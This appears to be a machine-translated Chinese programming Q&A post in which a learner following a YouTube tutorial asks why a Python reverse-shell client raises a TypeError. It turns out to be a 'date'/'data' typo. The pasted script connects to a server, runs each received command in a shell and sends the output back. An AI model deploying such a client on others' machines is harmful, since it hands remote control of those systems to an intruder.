您好我在看關於反求一些教程使用python在YouTube上https://www.youtube.com/watch?v=-QMPYah8fWI&index=5&list=PL6gx4Cwl9DGCbpkBEMiCaiu_3OL-_Bz_8][1]套接字客戶端問題「__getitem__」
此客戶端的目的是從服務器接收命令外殼,服務器的偉大工程,但是,當我跑客戶也給了我這個
File "/root/Desktop/Revers/client.py", line 15, in <module>
if data[:2].decode('utf-8') == "cd":
TypeError: 'module' object has no attribute '__getitem_
這裏是代碼:
s = socket.socket()
s.connect((host, port))
while True:
date = s.recv(1024)
if data[:2].decode('utf-8') == "cd":
os.chdir(data[3:].decode("utf-8"))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_bytes)
s.send(str.encode(output_str + str(os.getcwd()) + '> '))
print(output_str)
s.close()
題外話:以root身份運行桌面環境是一個不好的主意。 –